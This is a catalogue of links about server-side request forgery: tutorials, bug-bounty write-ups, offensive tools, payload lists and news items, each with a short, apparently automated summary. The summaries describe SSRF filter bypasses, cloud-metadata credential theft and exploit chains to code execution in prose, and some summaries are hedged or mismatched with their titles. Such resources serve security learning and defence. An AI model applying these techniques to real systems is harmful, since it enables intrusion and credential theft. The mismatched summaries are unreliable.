| 2024-10-17 2024 | Carrying Out Your First SSRF Attack - Introduction to Server-Side Request Forgery Lesson | QA Platform beginner | The content introduces a lesson on Server-Side Request Forgery (SSRF) attacks on the QA Platform. It encourages individuals to begin learning about SSRF attacks through their digital training solutions. |
| 2024-10-17 2024 | Server-Side Request Forgery (SSRF) beginner 5 min read | Tutorial on Server-Side Request Forgery (SSRF) detailing how attackers can exploit server functionality to send requests from behind firewalls. It covers basic and blind SSRF, impact including metadata API access and local file disclosure, and testing methods using tools like Burp Suite, Burp Collaborator, and DNSBin. Prevention strategies include whitelisting IPs, disabling unnecessary URL schemes like `file://` and `gopher://`, and implementing anomaly detection on outgoing traffic. → intigriti.com |
| 2024-10-17 2024 | Server-Side Request Forgery (SSRF) involves an attacker tricking a server into making unauthorized… beginner | The blog post discusses Server-Side Request Forgery (SSRF), where attackers deceive servers into making unauthorized requests. It covers the definition of SSRF, its impact, how it operates, and basic prevention measures. |
| 2024-10-17 2024 | Let’s Understand SSRF vulnerability beginner | The content provides an introduction to understanding SSRF (Server-Side Request Forgery) vulnerability. SSRF is a type of security vulnerability that allows an attacker to manipulate the server into making unauthorized requests on their behalf. This can lead to data breaches, unauthorized access, and other security risks. Understanding SSRF is crucial for developers and security professionals to prevent and mitigate such vulnerabilities in web applications. → infosecwriteups.com |
| 2024-10-17 2024 | 👩💻Roadmap to Cybersecurity in 2022, Full-Read SSRF, IDOR in GraphQL, GCP Pentesting, and much… news GraphQL | The content discusses a talk focusing on cybersecurity in 2022, covering topics such as SSRF, IDOR in GraphQL, GCP Pentesting, and more. The talk highlights the significant value, over $25 billion, that is at risk due to practical attacks on bridges. It emphasizes the importance of understanding and addressing vulnerabilities in cybersecurity to protect valuable assets. → infosecwriteups.com |
| 2024-10-17 2024 | 👩💻 $600k Bounty, Jetty Features, Response Queue Poisoning, Bypass SSRF Protections, XSS… news Bug Bounty | A $600K bounty was awarded due to a business logic flaw in smart contracts. → infosecwriteups.com |
| 2024-10-17 2024 | Exploiting: SSRF For Admin Access intermediate | The content is about exploiting Server-Side Request Forgery (SSRF) vulnerabilities to gain admin access. SSRF allows attackers to make requests on behalf of the server, potentially accessing internal systems or performing unauthorized actions. By manipulating URLs, attackers can trick the server into fetching sensitive data or executing commands. This can lead to unauthorized access to admin interfaces, compromising the system's security. The article likely discusses the risks of SSRF vulnerabilities, the impact on system security, and potential mitigation strategies to prevent such attacks. → infosecwriteups.com |
| 2024-10-17 2024 | Server-Side Request Forgery — SSRF: Exploitation Technique beginner | Server-side request forgery (SSRF) is a vulnerability where an attacker can manipulate a server to make unauthorized HTTP requests. This exploitation technique can lead to sensitive data exposure, unauthorized access, and potential server compromise. Preventing SSRF involves input validation, using whitelists, and restricting server access to prevent attackers from exploiting this vulnerability. → infosecwriteups.com |
| 2024-10-17 2024 | Story of a 2.5k Bounty — SSRF on Zimbra Led to Dump All Credentials in Clear Text intermediate Bug Bounty | The content discusses a successful bug bounty story where the author and a friend earned approximately $2500 from Cafebazaar by exploiting a Server-Side Request Forgery (SSRF) vulnerability on Zimbra, leading to the exposure of all credentials in clear text. → infosecwriteups.com |
| 2024-10-17 2024 | My First Bug: Blind SSRF Through Profile Picture Upload intermediate Bug Bounty | The content is a writeup detailing the discovery of the author's first bug, which involves a blind Server-Side Request Forgery (SSRF) vulnerability through profile picture upload. The author likely shares their experience, the steps taken to identify the bug, and the impact of the vulnerability. This bug could potentially allow an attacker to manipulate the server into making requests on their behalf, leading to unauthorized access or data leakage. The writeup may also include insights on responsible disclosure and the importance of thorough security testing in web applications. → infosecwriteups.com |
| 2024-10-17 2024 | 10 Types of Web Vulnerabilities that are Often Missed - Labs Detectify beginner 16 min read Bug Bounty | Survey of web vulnerabilities often missed, including HTTP/2 smuggling exploiting header desynchronization and XXE via Office Open XML parsers by crafting malicious OOXML files. It also covers SSRF through XSS in PDF generators, potentially leveraging headless browsers to access internal resources like AWS metadata, and XSS via SVG file uploads. → labs.detectify.com |
| 2024-10-17 2024 | How i found 3 SSRF in one day on different bug bounty targets. intermediate Bug Bounty | The blog discusses the author's approach to bug bounty targets, detailing how they discovered three Server-Side Request Forgery (SSRF) vulnerabilities within 5-6 hours on different targets. The focus is on their successful identification of SSRF vulnerabilities and the speed at which they were able to find them. |
| 2024-10-17 2024 | Server Side Request Forgery — SSRF beginner | Server Side Request Forgery (SSRF) is a web vulnerability that enables attackers to manipulate a server to make unauthorized requests. This issue can lead to data leaks, unauthorized access, and potential server exploitation. Preventing SSRF involves input validation, restricting access to sensitive resources, and using secure coding practices. It is crucial for developers and organizations to be aware of SSRF risks and implement robust security measures to mitigate this threat effectively. → infosecwriteups.com |
| 2024-10-17 2024 | Vimeo SSRF with code execution potential. intermediate RCE | The content discusses the discovery of a semi-responded SSRF vulnerability on Vimeo that potentially allows for code execution. The author shares their process of finding and exploiting this vulnerability in a blog post. → infosecwriteups.com |
| 2024-10-17 2024 | BugBounty | A Simple SSRF intermediate 2 min read Bug Bounty | Writeup details SSRF discovery in a macOS chat client, bypassing initial internal IP restrictions through subdomain brute-forcing. The vulnerability allowed for JavaScript execution via the browser's User-Agent header, enabling bypass of the Same Origin Policy. Techniques include fetching internal network content and using DNS rebinding for further exploitation. |
| 2024-10-17 2024 | SSRF Vulnerability due to Sentry misconfiguration beginner | The content is vague and lacks specific details or information. It mentions a story related to a disclosed report but does not provide any context or details about the SSRF vulnerability due to Sentry misconfiguration. |
| 2024-10-17 2024 | SVG XLink SSRF fingerprinting libraries version intermediate | SSRF (Server-side request forgery) is a common attack surface, especially in uploading functionalities where applications fetch data. This vulnerability can be exploited by attackers to access internal systems or perform malicious actions. It is important to be aware of SSRF risks and implement proper security measures to prevent such attacks. |
| 2024-10-17 2024 | AWS takeover through SSRF in JavaScript intermediate 7 min read Bug Bounty | Writeup detailing an AWS account takeover achieved via Server-Side Request Forgery (SSRF) in a JavaScript macro language. The vulnerability stemmed from an `eval()` injection within a custom `Union()` function, allowing for unvalidated argument concatenation. Exploiting this, the attacker could trigger HTTP requests using `fetch()`, leading to blind SSRF. By chaining requests, the attacker successfully exfiltrated AWS credentials, resulting in control over numerous S3 buckets and EC2 instances. |
| 2024-10-17 2024 | breacharcom: Server-Side Request Forgery (SSRF) allows attackers to make unauthorized requests from the server potentially accessing internal systems. Protect your apps by validating and sanitizing user input. #SSRF #CyberSecurity #OSCP #OSWE #infosec #offsec #Pentesting #redteam beginner | The content warns about Server-Side Request Forgery (SSRF) enabling unauthorized requests from servers, risking access to internal systems. It advises safeguarding apps by validating and sanitizing user input. The post emphasizes cybersecurity measures and mentions relevant hashtags like #OSCP, #OSWE, #infosec, #offsec, #Pentesting, and #redteam. |
| 2024-10-17 2024 | Server Side Request Forgery (SSRF) Testing intermediate | The content discusses Server Side Request Forgery (SSRF) testing for fun rather than for a bounty. The author discovered a website vulnerable to SSRF but did not exploit it. The focus is on testing and identifying SSRF vulnerabilities in web applications. → infosecwriteups.com |
| 2024-10-17 2024 | How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! advanced 6 min read Bug Bounty RCE | Writeup detailing an exploit chain that achieved Remote Code Execution (RCE) on GitHub Enterprise by chaining four vulnerabilities. This chain began with a Server Side Request Forgery (SSRF) in Webhook, bypassed IP restrictions using RFC 3986 formats, and leveraged a second SSRF in Graphite. Further exploitation involved CR-LF injection to smuggle protocols, specifically targeting Memcached and then exploiting unsafe Ruby Marshal deserialization to trigger RCE. |
| 2024-10-17 2024 | SSRF bible. Cheatsheet beginner | The content is a cheatsheet on Server-Side Request Forgery (SSRF) with revision 1.03 from January 26, 2017. It includes information on basics, typical attack steps, and file descriptions related to SSRF. The authors are from the Wallarm research team, and the cheatsheet is available on their website. Additionally, a new product called Wallarm FAST for security tests from traffic is promoted. → docs.google.com |
| 2024-10-15 2024 | Find SSRF , LFI , XSS using httpx , waybackurls , gf , gau , qsreplace intermediate XSS | The content discusses utilizing tools like httpx, waybackurls, gf, gau, and qsreplace to find SSRF, LFI, and XSS vulnerabilities. These advanced bug bounty tips can aid in bug hunting. The author recommends visiting a website for more information, including videos on advanced subdomain reconnaissance, subdomain takeover, and proof of concept demonstrations. The content encourages readers to begin utilizing these tools for bug bounty hunting. |
| 2024-10-15 2024 | Digging for SSRF in NextJS apps intermediate 6 min read | Library detailing common Server-Side Request Forgery (SSRF) vulnerabilities in NextJS applications, specifically highlighting misconfigurations in the `_next/image` component and Server Actions. It explains how SSRF can be exploited through the `remotePatterns` configuration, SVG XSS or XML response leaks in older versions, and blind SSRF via open redirects on whitelisted domains. Furthermore, it details how SSRF can be achieved by forging the `Host` header when a Server Action redirects to a path starting with `/`, allowing attackers to access internal resources. → assetnote.io |
| 2024-10-15 2024 | Hunting for SSRF Bugs in PDF Generators intermediate 12 min read | Technique for identifying Server-Side Request Forgery (SSRF) vulnerabilities in PDF generators. It details how to inject HTML payloads into contexts like between tags, within apostrophes, or within quotation marks in HTML entity attributes. The technique covers verifying remote resource access, checking for JavaScript execution via `<script>` tags or `onerror` handlers, and discusses exploiting cloud-hosted servers, particularly to interact with AWS IMDS for credential leakage. |
| 2024-10-15 2024 | blackhatethicalhacking/SSRFPwned intermediate 3 min read | Tool for automating Server Side Request Forgery (SSRF) vulnerability testing. SSRFPwned injects custom payloads into query parameters of thousands of URLs, leveraging sources like Wayback Machine, URLScan, and AlienVault for discovery. It filters relevant URLs using GF patterns, checks response codes, and identifies reflected payload traces to report vulnerable endpoints. |
| 2024-10-15 2024 | assetnote/surf intermediate 2 min read | Tool for discovering Server-Side Request Forgery (SSRF) candidates by probing hosts with HTTP requests. It identifies both externally and internally facing hosts that may be vulnerable to SSRF, even when traditional filters might miss externally accessible internal web applications. The tool utilizes `httpx` for HTTP probing and provides options for concurrency, timeout, and disabling analysis. |
| 2024-10-15 2024 | Th0h0/autossrf intermediate 1 min read | Tool for automated SSRF vulnerability discovery, autoSSRF employs smart fuzzing on relevant GET parameters like `?url=` and `?uri=`, avoiding disruption to the application's original URL interpretation. It generates context-aware dynamic payloads designed to bypass white-listing validations by recognizing potentially authorized hosts. Utilizing ProjectDiscovery's interactsh for out-of-band interactions, autoSSRF achieves high confidence in identifying SSRF vulnerabilities with minimal false positives. |
| 2024-10-15 2024 | assetnote/blind-ssrf-chains advanced 10 min read | Library detailing blind SSRF exploit chains, covering techniques like "SSRF canaries" and identifying internal services via DNS. It discusses proving impact when responses are unreadable, leveraging side channels, and provides specific examples for exploiting vulnerabilities in services such as Elasticsearch, Weblogic (CVE-2014-4210), and Oracle WebLogic Server (CVE-2020-14883). The library also explores pivoting through internal network assets and discovering new internal hosts via DNS permutations. |
| 2024-10-15 2024 | imran-parray/Mind-Maps beginner | The repository contains Mindmaps for bug bounty hunters, pentesters, and security professionals, contributed by the owner and the community. It serves as a resource for offensive and defensive security strategies. |
| 2024-10-15 2024 | incredibleindishell/SSRF_Vulnerable_Lab beginner 4 min read | Library of PHP code demonstrating Server-Side Request Forgery (SSRF) vulnerabilities across six scenarios, including fetching file content, connecting to remote hosts, file downloads (potentially for internal IP enumeration), and bypassing IP blacklisting via DNS spoofing and DNS rebinding. It also includes an example of SSRF in an HTML to PDF generator, with a provided Dockerfile for easy setup and testing. |
| 2024-10-15 2024 | swisskyrepo/SSRFmap intermediate 4 min read | Framework for finding and exploiting Server Side Request Forgery (SSRF) vulnerabilities. SSRFmap takes a Burp request file and a parameter to fuzz, supporting modules for port scanning, reading files, and triggering reverse shells. It includes options for custom user agents, HTTPS endpoints, and payload level adjustments for WAF bypass. The framework also provides Docker support and example requests for testing. |
| 2024-10-13 2024 | spencer_5cent: @Hacker0x01 @prescientsec 2/2 5.If different IP/port combos show different response bodies. You have SSRF. 6. If you see CONSISTENT differences in response times for certain ports/IPs you have Blind SSRF. #ssrf @SynackRedTeam intermediate | The content discusses SSRF (Server-Side Request Forgery) detection methods shared by spencer_5cent on Twitter. It mentions that if different IP/port combinations yield different response bodies, it indicates SSRF. Additionally, consistent variations in response times for specific ports/IPs suggest Blind SSRF. The tweet includes the hashtag #ssrf and mentions @SynackRedTeam. |
| 2024-10-13 2024 | InfoStratosally: Beware of SSRF: A silent threat where attackers manipulate servers to access sensitive data or internal systems. Strengthen your defenses by validating inputs and restricting access! #Cybersecurity #SSRF #DataProtection beginner | The content warns about SSRF (Server-Side Request Forgery), a threat where attackers manipulate servers to access sensitive data or internal systems. It emphasizes the importance of strengthening defenses by validating inputs and restricting access to mitigate this risk. The post underscores the significance of cybersecurity measures and data protection in safeguarding against SSRF attacks. |
| 2024-10-11 2024 | PHP SSRF Techniques intermediate | The content discusses PHP Server-Side Request Forgery (SSRF) techniques focusing on bypassing security measures like filter_var(), preg_match(), and parse_url(). It likely covers methods to manipulate input data to exploit vulnerabilities in these functions, potentially allowing attackers to make unauthorized requests from the server. The content may provide insights into how attackers can circumvent these common PHP functions to carry out SSRF attacks. |
| 2024-10-11 2024 | GitLab Patches Pipeline Execution SSRF XSS Vulnerabilities news 1 min read | Library updates from GitLab address eight vulnerabilities in Community and Enterprise Edition releases. These include critical pipeline execution flaws like CVE-2024-9164 and CVE-2024-8970, a server-side request forgery (SSRF) impacting Product Analytics Dashboard, and a cross-site scripting (XSS) bug in application authorization. Additional fixes cover merge request diff viewing issues, deploy key vulnerabilities, guest user project template disclosure, and instance version disclosure. → securityweek.com |
| 2024-10-11 2024 | “When Logs Speak: The SSRF Chronicles” beginner | Hello Hunters, |
| 2024-10-08 2024 | @S_Sasili: Simple script to chain SSRF issues with arbitrary HTTP redirect (with auth header) to trigger leaking sensitive headers. #Cybersecurity #InfosecTools #EthicalHacking #PenTesting #CTF #VulnerabilityHunting #SSRF #bugbountytips #bugbountytools #SecurityResearch #bugbounty intermediate | The content discusses a simple script created by @S_Sasili that chains SSRF vulnerabilities with arbitrary HTTP redirects, using an authentication header to expose sensitive headers. The script aims to aid in cybersecurity, ethical hacking, penetration testing, CTF challenges, vulnerability hunting, and bug bounty programs. It highlights the importance of security research and provides tools for bug bounty hunters. The script's purpose is to demonstrate a technique for exploiting SSRF vulnerabilities to leak sensitive information. The link provided directs to the original tweet by @S_Sasili. |
| 2024-10-08 2024 | redfoxsec: Understanding Server-Side Request Forgery (SSRF)! Explore this critical vulnerability that allows attackers to manipulate web apps into unauthorized requests. Learn how SSRF can: Access internal resources Bypass security measures #SSRF #CyberSecurity beginner | The content discusses Server-Side Request Forgery (SSRF), a critical vulnerability that enables attackers to manipulate web apps for unauthorized requests. SSRF allows access to internal resources and bypasses security measures. This vulnerability poses a significant threat to cybersecurity. #SSRF #CyberSecurity. |
| 2024-10-08 2024 | mutantera0: Simple script to chain SSRF issues with arbitrary HTTP redirect (with auth header) to trigger leaking sensitive headers. Github: #Cybersecurity #InfosecTools #EthicalHacking #PenTesting #CTF #VulnerabilityHunting #SSRF #bugbountytips #bugbountytools intermediate | The content discusses a script called mutantera0 that chains SSRF issues with an arbitrary HTTP redirect using an auth header to expose sensitive headers. The script is available on GitHub and is relevant to cybersecurity, ethical hacking, penetration testing, CTF challenges, vulnerability hunting, and bug bounty programs. The focus is on exploiting SSRF vulnerabilities to leak sensitive information. The Twitter link provides more details. |
| 2024-10-01 2024 | Eth1calHackrZ: 11/14 Educate #Yourself: Understanding how #attacks like #SSRF and #XSS work can better prepare you for defending against them. #KnowledgeIsPower #CyberEducation beginner | The content emphasizes the importance of educating oneself on attacks like SSRF and XSS to enhance defense strategies. It highlights the significance of knowledge in cybersecurity and encourages individuals to learn about these attack methods for better preparedness. The tweet suggests that understanding how these attacks work can empower individuals to defend against them effectively. Eth1calHackrZ promotes the idea that education is key in the realm of cybersecurity. |
| 2024-10-01 2024 | @Eth1calHackrZ: 5/14 Universal #Exploit: #Manipulating the "x-forwarded-proto" header led to #fullresponse #SSRF and #XSS across all "@netlify/ipx" setups. Learn how! #CyberAttack #Web3Vulnerabilities intermediate | The content discusses a universal exploit discovered by @Eth1calHackrZ on 5/14 involving manipulating the "x-forwarded-proto" header, leading to full response SSRF and XSS vulnerabilities across all "@netlify/ipx" setups. The post highlights the potential cyber attack risks and web vulnerabilities associated with this exploit. It encourages learning more about the exploit and its implications. |
| 2024-10-01 2024 | @Eth1calHackrZ: 4/14 Image Optimization Gone Wrong: Delve into how "@netlify/ipx" allowed #SSRF & #XSS attacks due to improper #URL parsing. #ServerSideRequestForgery #CrossSiteScripting #NetlifySecurity intermediate | The content discusses a security issue with "@netlify/ipx" that led to SSRF and XSS attacks due to improper URL parsing. The tweet highlights the vulnerability and mentions the hashtags #ServerSideRequestForgery, #CrossSiteScripting, and #NetlifySecurity. The post warns about the risks associated with image optimization gone wrong. |
| 2024-09-29 2024 | SandroBruscino: This article explains how DNS rebinding can bypass SSRF filters. Even 1 in 30 successful requests can be a game changer! #CyberSecurity #SSRF #DNSRebinding intermediate | The article by SandroBruscino discusses how DNS rebinding can circumvent SSRF filters, highlighting the significance of even a small success rate. This has implications for cybersecurity, emphasizing the potential impact of this technique. The tweet provides a link to the article for further information. |
| 2024-09-29 2024 | @nmkannans: As a part of my python learning created this python exploit script to run #SSRF port scans in a vulnerable Web / API endpoint that allows parameters in the request body -- #CyberSec #BugBounty #Pentesting #CyberSec #Security intermediate | The content discusses the creation of a Python exploit script by @nmkannans for running SSRF port scans on a vulnerable Web/API endpoint that accepts parameters in the request body. The script is part of the author's Python learning journey and is shared in the context of cybersecurity, bug bounty programs, pentesting, and general security awareness. The script's purpose is to identify security vulnerabilities in web applications. |
| 2024-09-29 2024 | Bypassing Filters: SSRF Exploitation via DNS Rebinding with Just 1 in 30 Successful Requests intermediate | Hey everyone, hope you’re all doing well! I wanted to share a cool bug story I came across a few months ago. It’s about an SSRF… |
| 2024-09-27 2024 | Payloads/ssrf.txt at main · 1BlackLine/Payloads beginner 1 min read Bug Bounty | List of Server-Side Request Forgery (SSRF) payloads featuring common IP addresses like `localhost`, `127.0.0.1`, and the `0.0.0.0` broadcast address. Includes examples for different protocols such as HTTP, SMTP, SSH, Squid, `jar`, `file`, `sftp`, `ldap`, `netdoc`, `gopher`, and `dict` schemes. The collection also covers various encoding techniques, IPv6 addresses, and specific cloud metadata endpoints like AWS (`169.254.169.254`) and Google Cloud (`metadata.google.internal`). |
| 2024-09-26 2024 | @MrD3fu1t: @Medium @bountywriteups @Hacker0x01 @Bugcrowd @github Some Moment Ago I visited for Read a writeup about #xss #lfi #ssrf from @Medium when i submit that writeup link to Freedium for bypass paywall. its show Me XSS Vulnerability. news | The content mentions a Twitter post by @MrD3fu1t where they visited Medium to read about XSS, LFI, and SSRF. They submitted the writeup link to Freedium to bypass a paywall, revealing an XSS vulnerability. The post includes tags for various platforms like HackerOne, Bugcrowd, and GitHub. |
| 2024-09-26 2024 | reverseame: SSRFing the Web with the Help of Copilot Studio #SSRF #Microsoft #CopilotStudio #Vulnerability #Critical intermediate | The content discusses SSRF (Server-Side Request Forgery) vulnerabilities in web applications, specifically using Copilot Studio from Microsoft to exploit them. The focus is on the critical nature of these vulnerabilities and their potential impact. The tweet highlights the importance of understanding and addressing SSRF vulnerabilities in web security. |
| 2024-09-25 2024 | cyber24x7: 10. #ThreatPatrol a #Python script based tool that can scan websites for #vulnerabilities including #SQLinjection #XSS #CSRF #SSRF #LFI and #RCE. beginner | The content discusses cyber24x7's #ThreatPatrol, a Python script tool that scans websites for vulnerabilities like SQL injection, XSS, CSRF, SSRF, LFI, and RCE. The tool aims to enhance website security by identifying and addressing these potential threats. The tool's capabilities are highlighted in a tweet from cyber24x7. |
| 2024-09-25 2024 | prod42net: Unlocking SSRF potential with Peppa's insights on finding ports beyond 9001. Scan 1-65535 for valid ports watch for img tag in responses. #CyberSecurity #SSRF #PortScanning intermediate | The content discusses utilizing SSRF to find ports beyond 9001 by scanning 1-65535 for valid ports and monitoring responses for img tags. Peppa's insights are highlighted for unlocking SSRF potential. The post emphasizes cybersecurity, SSRF, and port scanning. The link provided leads to the original tweet on Twitter. |
| 2024-09-25 2024 | @prod42net: Peppa's latest on CBJS: SSRF 2 reveals how to access admin.php decode base64 content & display in image tag for easy reading. Don't miss this encryption tip! #CyberSecurity #SSRF #Encryption intermediate | Peppa's latest post on SSRF 2 discusses accessing admin.php, decoding base64 content, and displaying it in an image tag for easier reading. The content emphasizes an encryption tip related to cybersecurity and SSRF. The post is shared on Twitter by @prod42net. |
| 2024-09-22 2024 | Ke_Cyber: Don't wait for a breachsecure your site NOW before its too late! #CyberSecurity #WordPress #Kenya #DataBreach #SSRF #XSS #SQLi #GovtSites #InfoSec #UpdateNow #SecurityThreat beginner | The content emphasizes the urgency of securing websites to prevent data breaches. It highlights the importance of taking action immediately to protect against security threats like SSRF, XSS, and SQLi. The message targets WordPress users in Kenya and government sites, urging them to update their security measures promptly. The post stresses the significance of proactive cybersecurity measures to avoid potential breaches. |
| 2024-09-20 2024 | true_redfence: INFORMATIONOffensive Security Tool: SSRFPwned SSRFPwned is developed by Chris Abou-Chabké from Black Hat Ethical Hacking. It is a tool that automates the process of testing for Server-Side Request Forgery (SSRF) #ssrf #offensivesecurity beginner | SSRFPwned is an offensive security tool created by Chris Abou-Chabké from Black Hat Ethical Hacking. It automates testing for Server-Side Request Forgery (SSRF). The tool is designed to assist in identifying and addressing SSRF vulnerabilities efficiently. It aims to enhance offensive security practices by streamlining the SSRF testing process. |
| 2024-09-19 2024 | JaneParrish: #News: @ProtectAICorp's Vulnerability Report uncovers 20 #security #flaws in #opensource #tools used for building #AI/#ML systems - incl Remote Code Execution #RCE in BerriAI/litellm password reset in lunary-ai/lunary and #SSRF in gradio-app/gradio news | @ProtectAICorp's Vulnerability Report reveals 20 security flaws in open-source tools for AI/ML systems. Issues include Remote Code Execution in BerriAI/litellm, password reset vulnerability in lunary-ai/lunary, and Server-Side Request Forgery in gradio-app/gradio. This poses risks to the security of AI projects. |
| 2024-09-19 2024 | iototsecnews: Ivanti EPM の脆弱性 CVE-2024-29847 などが FIXRCE が生じる恐れ #IvantiCloudServiceAppliance #IvantiCSA #IvantiEndpointManagement #IvantiEPM #IvantiWorkspaceControl #IWC #RCE #SSRF #Vulnerability #ZeroDay news | The content discusses a vulnerability (CVE-2024-29847) in Ivanti EPM that could lead to a Remote Code Execution (RCE) issue. It mentions hashtags related to Ivanti products and security terms like SSRF, Vulnerability, and ZeroDay. The post warns about the potential risk posed by this vulnerability. |
| 2024-09-18 2024 | Cybersleuth254: Found an SSRF vulnerability using a custom Nuclei template! This bug allows attackers to inject malicious URLs and access sensitive data on the server. #Cybersecurity #SSRF #BugBounty #PenTesting #Infosec #Nuclei intermediate | Cybersleuth254 discovered an SSRF vulnerability using a custom Nuclei template, enabling attackers to inject malicious URLs and access sensitive server data. The finding highlights the importance of cybersecurity measures like bug bounties, penetration testing, and information security. #Cybersecurity #SSRF #BugBounty #PenTesting #Infosec #Nuclei. |
| 2024-09-18 2024 | Cybersleuth254: Found an SSRF vulnerability using a custom Nuclei template! This bug allows attackers to inject malicious URLs and access sensitive data on the server. Always validate inputs to prevent these threats! #Cybersecurity #SSRF #BugBounty #PenTesting #Infosec #Nuclei intermediate | Cybersleuth254 discovered an SSRF vulnerability using a custom Nuclei template, enabling attackers to inject malicious URLs and access sensitive server data. The importance of input validation to prevent such threats is emphasized. The post highlights cybersecurity, SSRF, bug bounty, penetration testing, and Nuclei. |
| 2024-09-17 2024 | iototsecnews: MindsDB の脆弱性 CVE-2024-24759 が FIXPoC エクスプロイトも提供 #AIML #DNSRebinding #Exploit #MindsDB #OpenSource #PoCExploit #Sim4n6 #SSRF #Vulnerability news | The content discusses a vulnerability (CVE-2024-24759) in MindsDB, an open-source AI tool. It mentions the availability of a FIXPoC exploit for this vulnerability. The post includes hashtags related to artificial intelligence, machine learning, DNS rebinding, exploit, vulnerability, and SSRF. The vulnerability and exploit details are shared on Twitter by iototsecnews. |
| 2024-09-15 2024 | spencer_5cent: 1/2 For bug bounty I finally moved away from @SynackRedTeam even though I love and respect the platform I just wasn't getting any bugs. So in the past month I've already reported two #SSRF and one #blindxss on @Hacker0x01! news | The content discusses a bug bounty hunter named spencer_5cent who switched from SynackRedTeam to Hacker0x01 due to lack of bugs. In the past month, they reported two Server-Side Request Forgery (#SSRF) and one Blind Cross-Site Scripting (#blindxss) vulnerabilities on Hacker0x01. The tweet expresses gratitude towards SynackRedTeam while highlighting the success on the new platform. |
| 2024-09-13 2024 | e0xsecops: #CocaCola @CocaCola #SSRF news | The content refers to a tweet by e0xsecops about CocaCola and SSRF (Server-Side Request Forgery). The tweet includes hashtags for CocaCola and SSRF, along with a link to the specific tweet on Twitter. It suggests that there may be some relevant information or discussion related to CocaCola and SSRF in the linked tweet. |
| 2024-09-13 2024 | @killmongar1996: New blog: Found multiple SSRF vulnerabilities on a banks system exposing AWS metadata! Learn how I uncovered these flaws and the security risks involved. Check it out! [] #CyberSecurity #AWS #SSRF #EthicalHacking #CloudSecurity intermediate | A new blog post by @killmongar1996 discusses discovering multiple SSRF vulnerabilities in a bank's system, exposing AWS metadata. The post details how these flaws were uncovered and the associated security risks. The content highlights the importance of addressing these vulnerabilities to enhance cybersecurity. The post is shared on Twitter with hashtags like #CyberSecurity, #AWS, #SSRF, #EthicalHacking, and #CloudSecurity. The link to the blog post is provided for those interested in learning more about the findings. |
| 2024-09-12 2024 | @MosharrofMahin: ChatGPT - Server Side Request Forgery (CVE-2024-27564) #ChatGPT #ssrf #CyberSecurity #bug news | The content discusses a Server Side Request Forgery (SSRF) vulnerability in ChatGPT, identified as CVE-2024-27564 by @MosharrofMahin. The post highlights the cybersecurity issue and its potential impact, emphasizing the importance of addressing such vulnerabilities to prevent exploitation. The tweet includes relevant hashtags like #ChatGPT, #ssrf, #CyberSecurity, and #bug, indicating the focus on security concerns and bug reporting. For more details, the original tweet can be found at the provided Twitter link. |
| 2024-09-12 2024 | sudosu01: It might not happen today in a weeks time months or year - but remember each day is a step towards achieving that big win either through #RCE #CSRF #SSRF #SubDomainTakeover #SQL_Injection #WAFbypass -- keep waking up to that website until that big win! #sudo #bug beginner | The content emphasizes the persistence required in cybersecurity, stating that achieving success through vulnerabilities like RCE, CSRF, SSRF, SubDomainTakeover, SQL Injection, and WAFbypass may take time. It encourages daily effort towards the goal and mentions the importance of staying dedicated until the big win is achieved. The use of hashtags like #sudo and #bug highlights the focus on security testing and bug hunting. |
| 2024-09-12 2024 | CWISociety: CWIS President @saranimd is acing the assignment. SSRF: When and how? Well done sir! #cwismember #cwismemberresearch #ssrf beginner | CWIS President @saranimd excels in an assignment on SSRF. The post praises his performance and asks about the timing and method of SSRF. The content is shared on CWISociety's Twitter account, highlighting the president's success and involvement in research. The hashtags #cwismember, #cwismemberresearch, and #ssrf are used to categorize the post. |
| 2024-09-12 2024 | @turkhacksths: Server-Side Request Forgery (SSRF) Nedir ? SSRF sunucuyu kullanarak başka bir sunucuya veya servise (dış ağda ya da iç ağda) istek yapmasına olanak tanır. Bu istekler genellikle HTTP FTP SMB gibi protokollerle yapılır. #SSRF #Hacking #CyberSecurity beginner | The content discusses Server-Side Request Forgery (SSRF), which allows a server to make requests to another server or service, either in an external or internal network. These requests are typically made using protocols like HTTP, FTP, and SMB. The post emphasizes the importance of understanding SSRF for cybersecurity and hacking purposes. |
| 2024-09-11 2024 | @BanCERT_gt: Una vulnerabilidad SSRF (Server-Side Request Forgery) fue descubierta en Microsoft Copilot Studio poniendo en riesgo la seguridad de datos confidenciales y sistemas internos. Fuente: #BanCERT #Ciberseguridad #SSRF #MicrosoftCopilot #Vulnerabilidad news | A Server-Side Request Forgery (SSRF) vulnerability was found in Microsoft Copilot Studio by @BanCERT_gt, posing a risk to confidential data and internal systems. The discovery highlights potential security threats. #BanCERT #Cybersecurity #SSRF #MicrosoftCopilot #Vulnerability |
| 2024-09-10 2024 | @SEIDX57: Day 19 of the 25-day #THM challenge complete! Today I learned about Server-Side Request Forgery (SSRF). This vulnerability allows attackers to trick a server into making unauthorized requests to internal resources. Understanding it is key to preventing data breaches. #SSRF beginner | The content discusses Day 19 of a challenge where the user learned about Server-Side Request Forgery (SSRF), a vulnerability that allows attackers to manipulate servers into making unauthorized requests to internal resources. Understanding SSRF is crucial in preventing data breaches. The user emphasizes the importance of awareness and knowledge about SSRF to enhance cybersecurity. |
| 2024-09-10 2024 | qldfes: #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #bounty #hacker #vulnerability #ssrf #vdp #security #securityresearch #bughunter #researcher #pentester #pentesting #cybersecurity #VAPT news | The content is a tweet from qldfes including various hashtags related to bug bounty programs, cybersecurity, and vulnerability testing. The tweet likely contains information or updates related to bug bounty tips, hacker communities like HackerOne and Bugcrowd, security research, and penetration testing. The tweet's content can be found by visiting the provided Twitter link. |
| 2024-09-10 2024 | Critical server-side vulnerability in Microsoft Copilot Studio gives illegal access to internal infrastructure news | A critical server-side vulnerability in Microsoft Copilot Studio has been identified, allowing unauthorized access to internal infrastructure. This security flaw poses a significant risk as it could potentially be exploited by malicious actors to gain unauthorized access to sensitive data and compromise the system. Microsoft Copilot Studio users should be vigilant and take immediate action to address this vulnerability to prevent any unauthorized access to their internal infrastructure. → msn.com |
| 2024-09-07 2024 | Critical server-side vulnerability in Microsoft Copilot Studio gives illegal access to internal infrastructure news | A critical server-side vulnerability in Microsoft Copilot Studio has been identified, allowing unauthorized access to internal infrastructure. This vulnerability poses a significant security risk and requires immediate attention to prevent potential exploitation by malicious actors. Organizations using Microsoft Copilot Studio should take prompt action to address this issue and enhance their security measures to safeguard their systems and data. → msn.com |
